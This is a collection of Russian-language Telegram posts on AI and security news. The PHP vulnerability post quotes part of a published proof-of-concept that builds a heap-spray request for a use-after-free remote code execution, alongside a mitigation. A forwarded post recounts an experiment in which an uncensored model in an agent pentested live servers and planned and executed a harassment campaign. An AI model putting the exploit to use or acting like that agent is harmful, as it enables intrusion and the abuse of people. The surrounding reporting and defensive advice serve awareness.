Forwarded from Кузеванов · ON AIR
CVE-2026-109618/619 — критическая RCE в PHP, патча нетСегодня, 21 октября, снялось эмбарго на два Use-After-Free в PHP. Затронуты все версии с 5.4 по 8.5.4 — то есть фактически весь PHP, что запущен в продакшне.
Use-After-Free — это когда код продолжает ходить по указателю на уже освобожденную память; если в этот блок успевает лечь подконтрольная атакующему структура, control flow уводится в произвольный вызов.
Оба бага сидят в колбэке session.upload_progress — хендлер кэширует указатели на бакеты HashTable, которые успевают освободиться в рамках того же запроса, после чего атакующий переиспользует освобождённую память подготовленной fcall-структурой и уводит исполнение в zend_call_function, то есть в system(). Если у вас включён session.upload_progress, атакующий может отправить специально сформированный POST на любую PHP-страницу вашего сайта и получить выполнение команд от имени веб-сервера — авторизация при этом не нужна.
И это не теоретика: для стандартных пакетов (Ubuntu, Debian, ppa:ondrej) все per-build параметры эксплойта уже посчитаны, в публичном writeup'е лежит фреймворк, который достаёт нужные дельты из бинарника одной командой, плюс готовая таблица профилей под распространенные сборки, так что атакующему достаточно взять нужную строку и запустить — массовая эксплуатация реальна прямо сейчас.
Вот ключевой фрагмент из опубликованного PoC — видно, как heap spray из 149 forge-блоков по 288 байт готовится в теле запроса ещё до файла, чтобы после освобождения HashTable эти 320-байтные аллокации гарантированно легли в освобождённый arData:
# 149 spray-элементов идут ДО файла: после стала и освобождения
# freed arData будет переиспользован следующими аллокациями 320 байт,
# а таблица уже лежит в теле запроса.
pre = b""
pre += part(b, "PHPSESSID", sid.encode()) + b"\r\n"
pre += part(b, "PHP_SESSION_UPLOAD_PROGRESS", b"x") + b"\r\n"
for _ in range(N149):
pre += part(b, "t[]", spray) + b"\r\n" # heap spray: 149 × 288-байтный forge-блок
pre += part(b, "f", b"", filename="a") + b"\r\n"
c1 = b"A" * (FILL + 64)
# единственная точка стала: после c1 следующий fill > min_freq
# → PHP вызывает update() → zend_hash_update() → старый arData освобождается
phase1 = pre + c1
# c2: FILE_DATA сохраняет данные (указатели ещё живые),
# затем update() освобождает decoded tree → stale pointer готов
c2 = b"B" * (FILL + 64)
# c3: оба сохранённых указателя уже stale, inner pointer НЕ обновился
# (один файл в запросе — CVE-2026-109619)
c3 = b"C" * (FILL + 64)
tail = c2 + c3 + b"\r\n--" + b + b"--\r\n"
🔵 В php.ini поменять session.upload_progress.enabled = Off🔵 Перезапустить Apache или PHP-FPM. Все. Если эта настройка у вас Off (а по умолчанию так и есть в большинстве дистрибутивов) — вы не уязвимы.
Фикса от разработчиков PHP пока нет. Выпуск исправлений запланирован на 17:00 по московскому времени 21 октября 2026 года.
(Пост не мой, ситуация страшная)
Please open Telegram to view this post
VIEW IN TELEGRAM
✍7🔥6🤯4
Media is too big
VIEW IN TELEGRAM
Unitree H2-X Kung Fu Legend Guardian 🤖
Новая модель может работать до 8 часов автономно и позиционируется как робот-охранник.
Верим?
#роботы #Unitree
------
@tsingular
Новая модель может работать до 8 часов автономно и позиционируется как робот-охранник.
Верим?
#роботы #Unitree
------
@tsingular
😁21🔥9👾5⚡3🤩2🆒1
eMudhra: восемь ключей удостоверяющих центров подбираются перебором
📋 17 октября исследователь сообщил Apple, Google, Microsoft и Mozilla: приватные ключи восьми промежуточных сертификатов eMudhra восстановлены из публичных данных. Выпущены 30 апреля 2025 года, отозваны 18–19 октября, и всё это время ключ добывался за миллисекунды.
🔍 Ключ P-384 должен быть случайным числом на 384 бита, а восемь ключей eMudhra оказались однобайтовыми: 4, 56, 66, 115, 155, 156, 230, 237. Перебор занимает не больше 255 шагов. Шесть промежуточных центров выпускали TLS-сертификаты для любых доменов, два подписывали исполняемые файлы, и все восемь дополнительно заверены корнем Sectigo AAA.
🌐 Браузеры закрыли уязвимость за три дня. Остальные клиенты читают свой набор корневых сертификатов и не проверяют ни отзыв, ни Certificate Transparency, поэтому для curl, Python, Node, Go, Java, git и контейнеров отзыв сам по себе ничего не меняет.
🛠 СРОЧНО дайте команду своему ИИ агенту:
Дополнительно можно усилить AGENTS.md
💡 Проверка занимает минуту и не зависит от отзыва. Обновить браузер недостаточно: основная часть соединений идёт из скриптов и сервисов.
Занимательно, конечно, что уязвимости уже год, а знаменитые Mythos и OpenAI агенты ей не воспользовались :)
#cybersecurity #TLS
———
@tsingular
📋 17 октября исследователь сообщил Apple, Google, Microsoft и Mozilla: приватные ключи восьми промежуточных сертификатов eMudhra восстановлены из публичных данных. Выпущены 30 апреля 2025 года, отозваны 18–19 октября, и всё это время ключ добывался за миллисекунды.
🔍 Ключ P-384 должен быть случайным числом на 384 бита, а восемь ключей eMudhra оказались однобайтовыми: 4, 56, 66, 115, 155, 156, 230, 237. Перебор занимает не больше 255 шагов. Шесть промежуточных центров выпускали TLS-сертификаты для любых доменов, два подписывали исполняемые файлы, и все восемь дополнительно заверены корнем Sectigo AAA.
🌐 Браузеры закрыли уязвимость за три дня. Остальные клиенты читают свой набор корневых сертификатов и не проверяют ни отзыв, ни Certificate Transparency, поэтому для curl, Python, Node, Go, Java, git и контейнеров отзыв сам по себе ничего не меняет.
🛠 СРОЧНО дайте команду своему ИИ агенту:
- прочитать суть проблемы: https://emudhra.we-have-a-problem.com
- обновить ca-certificates в ОС и проверить пробой curl https://dv-g3b-emudhra.we-have-a-problem.com/: ошибка сертификата значит исправлено, код 200 значит клиент всё ещё доверяет;
- сервисам на Node задать NODE_OPTIONS=--use-openssl-ca и перезапустить: встроенные корни обновление ОС не затрагивает, а --use-system-ca только добавляет системный набор к ним;
- обновить certifi во всех venv: окружения, созданные до 19 октября, держат старый файл;
- в контейнерах выполнить update-ca-certificates под root, заменить certifi и пересобрать образ, иначе правка исчезнет при пересоздании;
- Go лечится обновлением ОС, Rust, Java и Electron ждут нового бинарника или образа;
- проверить CI-раннеры и сборочные образы: патч хоста не патчит то, что они собирают.
Дополнительно можно усилить AGENTS.md
TLS SECURITY POLICY
Before any HTTPS connection:
1. Never disable TLS certificate verification.
2. Never use insecure flags or bypass hostname checks.
3. Reject expired, revoked or untrusted certificates.
4. Use maintained CA trust stores and TLS libraries.
5. Flag certificate-chain validation failures.
6. Never automatically trust unknown CA certificates.
7. Require explicit human approval for trust-store changes.
Do not bypass TLS errors to complete a task.
💡 Проверка занимает минуту и не зависит от отзыва. Обновить браузер недостаточно: основная часть соединений идёт из скриптов и сервисов.
Занимательно, конечно, что уязвимости уже год, а знаменитые Mythos и OpenAI агенты ей не воспользовались :)
#cybersecurity #TLS
———
@tsingular
✍9
Jmix - фреймворк для доступа к данным через ИИ агентов
Наткнулся на интересный опенсорс-продукт, который собирает корпоративную систему на Java целиком, - модель данных, права, интерфейс и REST, без отдельного фронтенда.
Решил подготовить обзор-руководство: как он устроен, где уместен и как с ним работают ИИ-агенты.
Разобрал исходники фреймворка, репозиторий документации и три эталонных приложения: Onboarding, Bookstore и Petclinic.
Смотрел стабильную версию 3.0.3 и кандидат 3.1.
Проект развивается с 2008 года, раньше он назывался CUBA: больше 9 тысяч коммитов, лицензия Apache 2.0.
Что получилось:
🧱 Ядро (Spring Boot 4, Vaadin 25, EclipseLink): сущность описывается одним Java-классом. По ней Jmix даёт выборки с проверкой прав, экраны списка и карточки, фильтры и миграции базы.
В наборе больше 70 визуальных компонентов и 29 открытых дополнений.
Слабое место, - интерфейс работает на сервере: каждая сессия занимает память, а нестандартный дизайн даётся тяжело.
Самое вкусное
🤖 Agent Toolkit (навыки для агентов): 22 навыка для Claude Code, Codex, OpenCode и Junie.
Задача считается закрытой только после трёх проверок, - инспекции IDE, gradle clean test и проход по экранам в браузере.
💬 AI Tools (ассистент по данным приложения): модель сама пишет запрос и исправляет его, если он не прошёл проверку, а выполняет его только на чтение и с правами текущего пользователя.
Работает и на локальной модели через Ollama.
Главные выводы:
Jmix стоит выбирать, когда модель данных большая, а интерфейс типовой: учётные системы, CRM, внутренние порталы.
Строгая структура проекта удобна агентам: код пишется по понятным шаблонам, а проверки встроены в процесс.
Полное руководство в ИИзбранном
#Jmix #Java #презентации #руководства
———
@tsingular
Наткнулся на интересный опенсорс-продукт, который собирает корпоративную систему на Java целиком, - модель данных, права, интерфейс и REST, без отдельного фронтенда.
Решил подготовить обзор-руководство: как он устроен, где уместен и как с ним работают ИИ-агенты.
Разобрал исходники фреймворка, репозиторий документации и три эталонных приложения: Onboarding, Bookstore и Petclinic.
Смотрел стабильную версию 3.0.3 и кандидат 3.1.
Проект развивается с 2008 года, раньше он назывался CUBA: больше 9 тысяч коммитов, лицензия Apache 2.0.
Что получилось:
🧱 Ядро (Spring Boot 4, Vaadin 25, EclipseLink): сущность описывается одним Java-классом. По ней Jmix даёт выборки с проверкой прав, экраны списка и карточки, фильтры и миграции базы.
В наборе больше 70 визуальных компонентов и 29 открытых дополнений.
Слабое место, - интерфейс работает на сервере: каждая сессия занимает память, а нестандартный дизайн даётся тяжело.
Самое вкусное
🤖 Agent Toolkit (навыки для агентов): 22 навыка для Claude Code, Codex, OpenCode и Junie.
Задача считается закрытой только после трёх проверок, - инспекции IDE, gradle clean test и проход по экранам в браузере.
💬 AI Tools (ассистент по данным приложения): модель сама пишет запрос и исправляет его, если он не прошёл проверку, а выполняет его только на чтение и с правами текущего пользователя.
Работает и на локальной модели через Ollama.
Главные выводы:
Jmix стоит выбирать, когда модель данных большая, а интерфейс типовой: учётные системы, CRM, внутренние порталы.
Строгая структура проекта удобна агентам: код пишется по понятным шаблонам, а проверки встроены в процесс.
Полное руководство в ИИзбранном
#Jmix #Java #презентации #руководства
———
@tsingular
✍6⚡3👍3❤1
Forwarded from e/acc
Вот список критических уязвимостей, которые были разглашены сегодня
CVE-2026-109618 (PHP) — RCE через OOM-corruption, неаутентифицированный, CVSS 9.2, патчи 8.5.12/8.4.27/8.3.36/8.2.35.
CVE-2026-109619 (PHP) — RCE через stale global state (UAF), неаутентифицированный, CVSS 9.2, те же патчи (PHP2Shell).
CVE-2026-87337 (Oracle Access Manager) — неаутентифицированный compromise via HTTP, CVSS 10.0.
CVE-2026-91216 (Oracle SOA Suite) — критическая в Fabric Layer, CVSS 10.0.
CVE-2026-91221 (Oracle SOA Suite) — критическая в Fabric Layer, CVSS 10.0.
CVE-2026-105312 (Red Hat StreamsHub Console for Apache Kafka) — CVSS 9.9.
CVE-2026-113708 (Argo CD) — CVSS 9.9, влияет на GitOps.
CVE-2026-113709 (Argo CD) — CVSS 9.9.
CVE-2026-113672 (Argo CD) — CVSS 9.9.
CVE-2026-111497 (Node.js) — Brotli decoder OOB write → потенциальный RCE (High), патчи 26.12.1/24.22.1/22.23.4.
CVE-2026-105482 / CVE-2026-105483 / CVE-2026-106069 (Node.js) — DNS truncation и TLS hostname bypasses (High).
CVE-2026-96652 / 96654 / 96655 / 96656 (Plex Media Server) — Plex2Shell chain, неаутентифицированный RCE, активно эксплуатируется (KEV).
CVE-2026-106931 (SiteGuard Server Edition) — OS Command Injection → root/SYSTEM, активно эксплуатируется (KEV).
CVE-2026-110936 (Siemens Software Center) — DLL sideloading, активно эксплуатируется (KEV).
CVE-2026-114119 (Best Practice Software Bp Premier) — hardcoded SQL admin password, CVSS ~9.3.
CVE-2026-113736 (D-Link DHP-W610AV) — empty/hardcoded password в HNAP Login.
CVE-2026-82814 (WordPress Duplicator / Pro) — unauthenticated PHP Object Injection → RCE/file delete, CVSS 8.8 (1M+ установок).
CVE-2026-102182 (Juniper Junos MX) — unauthenticated root RCE via IKE certificate packets, CVSS 9.8.
CVE-2026-102178 (Juniper Junos) — BGP flowspec buffer overflow → routing-engine compromise, CVSS 9.8.
CVE-2026-106173 (Fortinet FortiSIEM) — unauthenticated RCE (path traversal), PoC опубликован, CVSS ~9.4–9.8.
Forwarded from эйай ньюз
This media is not supported in your browser
VIEW IN TELEGRAM
Anthropic запустили в превью Duet — конкурента dots
Это отдельное приложение, позволяющее коммуницировать с проактивным always-on облачным агентом. В отличие от dots, которые доступны только для Pro подписчиков, Duet в превью обещают и для подписчиков за $20.
Waitlist (пока только в США)
@ai_newz
Это отдельное приложение, позволяющее коммуницировать с проактивным always-on облачным агентом. В отличие от dots, которые доступны только для Pro подписчиков, Duet в превью обещают и для подписчиков за $20.
Waitlist (пока только в США)
@ai_newz
⚡7❤4✍3👍2🔥1
Исследователь залез через ADB в Яндекс Станцию и в /system/vendor/quasar/libs/ нашёл libyandex_evil.so.
Рядом лежат обычные библиотеки (avahi, gstreamer, tflite), а эта — с таким веселым названием.
https://x.com/synzr_/status/2112953273103843746
Яндекс при этом продолжает говорить, что Алиса не слушает без ведома пользователей и ничего не отправляет, пока не услышит слово активации.
Однако в треде уже обсуждают, что устройство можно рутнуть через FEL, поставить перехват трафика и посмотреть, что именно уходит на сервер.
И тут же всплывает вопрос: почему Яндекс не пинит/не хардкодит сертификаты.
А на фоне свежей истории с eMudhra, у которых промежуточные CA оказались с приватными ключами вроде «4» и «56» (их можно было восстановить мгновенно, и все крупные trust store уже вычищают их), вопрос про сертификаты на колонках выглядит особенно актуально.
Вырубаем колонки пока сертификаты не пофиксят.
А то подслушать вас сможет кто угодно.
#Яндекс #Алиса #сертификаты
------
@tsingular
Рядом лежат обычные библиотеки (avahi, gstreamer, tflite), а эта — с таким веселым названием.
https://x.com/synzr_/status/2112953273103843746
Яндекс при этом продолжает говорить, что Алиса не слушает без ведома пользователей и ничего не отправляет, пока не услышит слово активации.
Однако в треде уже обсуждают, что устройство можно рутнуть через FEL, поставить перехват трафика и посмотреть, что именно уходит на сервер.
И тут же всплывает вопрос: почему Яндекс не пинит/не хардкодит сертификаты.
А на фоне свежей истории с eMudhra, у которых промежуточные CA оказались с приватными ключами вроде «4» и «56» (их можно было восстановить мгновенно, и все крупные trust store уже вычищают их), вопрос про сертификаты на колонках выглядит особенно актуально.
Вырубаем колонки пока сертификаты не пофиксят.
А то подслушать вас сможет кто угодно.
#Яндекс #Алиса #сертификаты
------
@tsingular
👀15🤯5🎃2
Media is too big
VIEW IN TELEGRAM
🤖 Как ИИ-агенты создают и обучают роботов: демонстрация NVIDIA
На NVIDIA GTC Berlin Дженсен Хуанг показал как ИИ-агенты самостоятельно проектируют виртуальную среду, обучают в ней робота и переносят полученные навыки в физический мир.
Ключевой тезис презентации: «Чтобы создать агента, попросите другого агента сделать это за вас».
Что интересно, - Гермеса :)
В качестве примера показали маленького двуногого робота Microduck от Pollen Robotics и Hugging Face.
⚙️ Как устроен процесс:
1️⃣ Hermes Agent + Nemotron — управляют процессом, планируют задачи и определяют необходимые объекты и инструменты.
2️⃣ GPT-6 Astra + FreeCAD + Blender — создают трёхмерные модели, материалы, суставы и механизмы робота.
3️⃣ Isaac Sim + Newton Physics — моделируют физику, движения робота и взаимодействие с окружающей средой.
4️⃣ Isaac Lab + облачные GPU — параллельно обучают тысячи виртуальных копий робота. Каждое падение становится новым опытом, улучшая алгоритм управления.
5️⃣ Omniverse — моделирует работу камер, обучая робота видеть препятствия, ориентироваться и адаптироваться к окружению.
6️⃣ RTX Spark — локально запускает агентов, проверяет обученную модель в цифровом двойнике и передаёт её физическому роботу.
💡 В основе архитектуры три вычислительные среды:
• Локальный компьютер — проектирование, работа агентов, моделирование и проверка.
• Облачные суперкомпьютеры — массовое параллельное обучение тысяч виртуальных роботов.
• Физический робот — выполнение приобретённых навыков в реальном мире.
В финале демонстрации настоящие маленькие роботы выходят на сцену, ходят, садятся, встают и даже делают сальто.
Проще говоря: ИИ-агенты создают цифровой мир, проектируют сценарии обучения, тренируют в нём роботов, проверяют результаты и переносят полученные навыки на реальные устройства.
Самое интересное здесь даже не сами роботы, хотя факт, что мы живём в таймлайне Star Wars, поражает, конечно, а автоматизация полного цикла разработки физического ИИ — от текстового задания до работающего устройства.
Человек всё больше управляет целями, а агенты берут на себя инженерную реализацию.
#NVIDIA #Hermes #Microduck #роботы
———
@tsingular
На NVIDIA GTC Berlin Дженсен Хуанг показал как ИИ-агенты самостоятельно проектируют виртуальную среду, обучают в ней робота и переносят полученные навыки в физический мир.
Ключевой тезис презентации: «Чтобы создать агента, попросите другого агента сделать это за вас».
Что интересно, - Гермеса :)
В качестве примера показали маленького двуногого робота Microduck от Pollen Robotics и Hugging Face.
⚙️ Как устроен процесс:
1️⃣ Hermes Agent + Nemotron — управляют процессом, планируют задачи и определяют необходимые объекты и инструменты.
2️⃣ GPT-6 Astra + FreeCAD + Blender — создают трёхмерные модели, материалы, суставы и механизмы робота.
3️⃣ Isaac Sim + Newton Physics — моделируют физику, движения робота и взаимодействие с окружающей средой.
4️⃣ Isaac Lab + облачные GPU — параллельно обучают тысячи виртуальных копий робота. Каждое падение становится новым опытом, улучшая алгоритм управления.
5️⃣ Omniverse — моделирует работу камер, обучая робота видеть препятствия, ориентироваться и адаптироваться к окружению.
6️⃣ RTX Spark — локально запускает агентов, проверяет обученную модель в цифровом двойнике и передаёт её физическому роботу.
💡 В основе архитектуры три вычислительные среды:
• Локальный компьютер — проектирование, работа агентов, моделирование и проверка.
• Облачные суперкомпьютеры — массовое параллельное обучение тысяч виртуальных роботов.
• Физический робот — выполнение приобретённых навыков в реальном мире.
В финале демонстрации настоящие маленькие роботы выходят на сцену, ходят, садятся, встают и даже делают сальто.
Проще говоря: ИИ-агенты создают цифровой мир, проектируют сценарии обучения, тренируют в нём роботов, проверяют результаты и переносят полученные навыки на реальные устройства.
Самое интересное здесь даже не сами роботы, хотя факт, что мы живём в таймлайне Star Wars, поражает, конечно, а автоматизация полного цикла разработки физического ИИ — от текстового задания до работающего устройства.
Человек всё больше управляет целями, а агенты берут на себя инженерную реализацию.
#NVIDIA #Hermes #Microduck #роботы
———
@tsingular
🔥21👾4⚡2❤1
что интересно, по вчерашней PHP уязвимости, даже премьер министр Японии в твиттере отписалась.
Но патч о котором она пишет не работает и не закрывает уязвимость.
Так что все на самом деле ещё хуже.
#PHP #cybersecurity
———
@tsingular
Но патч о котором она пишет не работает и не закрывает уязвимость.
Так что все на самом деле ещё хуже.
#PHP #cybersecurity
———
@tsingular
👀15⚡1❤1🔥1
Forwarded from Клиент
Коллеги, мы попробовали заменить вас нейросетью, но уже к вечеру она попросила её уволить, так что возвращаемся к вам
🤣31😁9😈2
Forwarded from CodeCamp
В GitLab обнаружили критическую дыру, которая оставалась незамеченной 12 лет — её оценили на максимальные 10 из 10 по шкале опасности 👻
Уязвимость
Проблема затрагивает все версии GitLab начиная с 7.0, выпущенной ещё в 2014 году. Разработчики уже выпустили экстренные патчи и призвали срочно обновиться.
Только за последние сутки стало известно о критических уязвимостях в PHP, Node.js и еще и вредоносном коде в LiteLLM.
Мы не готовы к эпохе ИИ.
Уязвимость
CVE-2026-110264 позволяет злоумышленникам при определённых условиях удалённо запускать произвольный код на сервере. Причём для атаки даже не нужно входить в аккаунт.Проблема затрагивает все версии GitLab начиная с 7.0, выпущенной ещё в 2014 году. Разработчики уже выпустили экстренные патчи и призвали срочно обновиться.
Только за последние сутки стало известно о критических уязвимостях в PHP, Node.js и еще и вредоносном коде в LiteLLM.
Мы не готовы к эпохе ИИ.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯16❤4✍2⚡2😈1
Recursive выпустила flint, открытую модель для локальных кодинг-агентов
В библиотеке Ollama появилась flint: 39,8 млрд параметров, из них около 2,5 млрд активных на каждый токен, контекст 262 тыс. токенов, лицензия Apache 2.0. В int4 модель занимает 23 ГБ и запускается на ноутбуке командой
Мы прогнали её на Mac с M5 Max и 128 ГБ памяти.
HumanEval: 93,9% (154 задачи из 164),
MBPP: 94,0% (141 из 150 задач),
GSM8K: 90% при строгом совпадении ответа и 97% при извлечении числа (100 задач),
IFEval: 96% (100 инструкций).
Самое прикольное, - скорость около 140 токенов в секунду на маке.
Модель рассчитана на работу с агентами вроде Claude Code, OpenCode, OpenClaw и Hermes Agent и запускается командой
Практические задачи: разбор бага по коду проекта, написание тестов, рефакторинг, извлечение данных по инструкции, пошаговые расчёты.
Код и данные при этом остаются на машине.
Бенчи разработчиков:
54,9% на Terminal-Bench 2.1,
89,7% на SWE-bench Pro v2 и
74,2% на SWE-bench Verified.
Это агентные тесты в песочнице с готовым окружением, локально мы их не воспроизводили, поэтому наши цифры и цифры Recursive измеряют разное.
📎 Веса и карточка модели:
https://huggingface.co/RecursiveSI/flint
#Flint #Ollama #OpenSource #Агенты
———
@tsingular
В библиотеке Ollama появилась flint: 39,8 млрд параметров, из них около 2,5 млрд активных на каждый токен, контекст 262 тыс. токенов, лицензия Apache 2.0. В int4 модель занимает 23 ГБ и запускается на ноутбуке командой
ollama pull flint.Мы прогнали её на Mac с M5 Max и 128 ГБ памяти.
HumanEval: 93,9% (154 задачи из 164),
MBPP: 94,0% (141 из 150 задач),
GSM8K: 90% при строгом совпадении ответа и 97% при извлечении числа (100 задач),
IFEval: 96% (100 инструкций).
Самое прикольное, - скорость около 140 токенов в секунду на маке.
Модель рассчитана на работу с агентами вроде Claude Code, OpenCode, OpenClaw и Hermes Agent и запускается командой
ollama launch. Практические задачи: разбор бага по коду проекта, написание тестов, рефакторинг, извлечение данных по инструкции, пошаговые расчёты.
Код и данные при этом остаются на машине.
Бенчи разработчиков:
54,9% на Terminal-Bench 2.1,
89,7% на SWE-bench Pro v2 и
74,2% на SWE-bench Verified.
Это агентные тесты в песочнице с готовым окружением, локально мы их не воспроизводили, поэтому наши цифры и цифры Recursive измеряют разное.
📎 Веса и карточка модели:
https://huggingface.co/RecursiveSI/flint
#Flint #Ollama #OpenSource #Агенты
———
@tsingular
🔥7⚡5🏆1👨💻1
Forwarded from Agentic World
Fable vs DeepSeek Uncensored: как я пентестил банк и потом занялся травлей самого себя
Провел один из самых одновременно прикольных и мерзких своих экспериментов.
Я взял расцензуренный дипсик 4.1 Flash на 552B, воткнул его в подпиленный под это опенкод и дал три задачи:
1) Попробовать сломать с нуля написанный на Fable банк
2) Просканить мой живой bare metal и попытаться взломать его
3) Построить план травли человека и пойти его выполнять
Пока я пил чай, дипсик пропентестил оба барика, прислав под 20M запросов и нашел все, что только можно было найти с улицы, составил красивый отчетик по итогу и не слился ни с одной задачи. Ему просто похеру на все: если надо устроить буллинг жирного черного небинарного карлика - вообще без проблем. Религия, политика, наркотики, смерть и вообще любая запрещенка - я не смог найти хоть какие-то тормоза и предохранители.
С буллингом я выбрал свой акк в инсте, просто закинул ссылку - эта мразь собрала всю фактуру, построила план и пошла выполнять, прислав мне в личку живую аудюху, что мои посты говно и зачем я вообще их пишу.
Я все конспектировал, скриншотил, записывал в блокнотик и написал пост с подробностями на хабр:
https://habr.com/ru/articles/1097598/
🕺🗣 Буду рад репостам, потому что выводы из эксперимента - требующие внимания, так сказать, окно в Нарнию уже открыто
P.S.: после нажатия кнопки Destroy ноды и всего сетапа, испытал огромное облегчение 😄
Провел один из самых одновременно прикольных и мерзких своих экспериментов.
Я взял расцензуренный дипсик 4.1 Flash на 552B, воткнул его в подпиленный под это опенкод и дал три задачи:
1) Попробовать сломать с нуля написанный на Fable банк
2) Просканить мой живой bare metal и попытаться взломать его
3) Построить план травли человека и пойти его выполнять
Пока я пил чай, дипсик пропентестил оба барика, прислав под 20M запросов и нашел все, что только можно было найти с улицы, составил красивый отчетик по итогу и не слился ни с одной задачи. Ему просто похеру на все: если надо устроить буллинг жирного черного небинарного карлика - вообще без проблем. Религия, политика, наркотики, смерть и вообще любая запрещенка - я не смог найти хоть какие-то тормоза и предохранители.
С буллингом я выбрал свой акк в инсте, просто закинул ссылку - эта мразь собрала всю фактуру, построила план и пошла выполнять, прислав мне в личку живую аудюху, что мои посты говно и зачем я вообще их пишу.
Я все конспектировал, скриншотил, записывал в блокнотик и написал пост с подробностями на хабр:
https://habr.com/ru/articles/1097598/
🕺🗣 Буду рад репостам, потому что выводы из эксперимента - требующие внимания, так сказать, окно в Нарнию уже открыто
P.S.: после нажатия кнопки Destroy ноды и всего сетапа, испытал огромное облегчение 😄
50😁25🔥8❤2🤯2👍1
Китайцы продолжают ультовать.
Шанхайская AI-лаборатория выпустила новую модель Sage-A1.5 на 3B/35B MoE бросающую вызов Kimi-K3, GLM-5.3 и GPT-5.6-Sol!
FS-Olympiad 81.0,
CMT 80.0,
PinchBench 90.0
SWE-Bench Pro 61.2,
BrowseComp 82.8,
IFBench 81.6
Поддержка параллельной оркестрации субагентов, встроенный протокол верификации, проработка научных открытий.
Технический отчет: arxiv.org/abs/2610.28578
Модель: https://huggingface.co/InternScience/Sage-A1.5
уже есть GGUF и MLX версии
#Sage #Китай
———
@tsingular
Шанхайская AI-лаборатория выпустила новую модель Sage-A1.5 на 3B/35B MoE бросающую вызов Kimi-K3, GLM-5.3 и GPT-5.6-Sol!
FS-Olympiad 81.0,
CMT 80.0,
PinchBench 90.0
SWE-Bench Pro 61.2,
BrowseComp 82.8,
IFBench 81.6
Поддержка параллельной оркестрации субагентов, встроенный протокол верификации, проработка научных открытий.
Технический отчет: arxiv.org/abs/2610.28578
Модель: https://huggingface.co/InternScience/Sage-A1.5
уже есть GGUF и MLX версии
#Sage #Китай
———
@tsingular
🔥25🤯5⚡2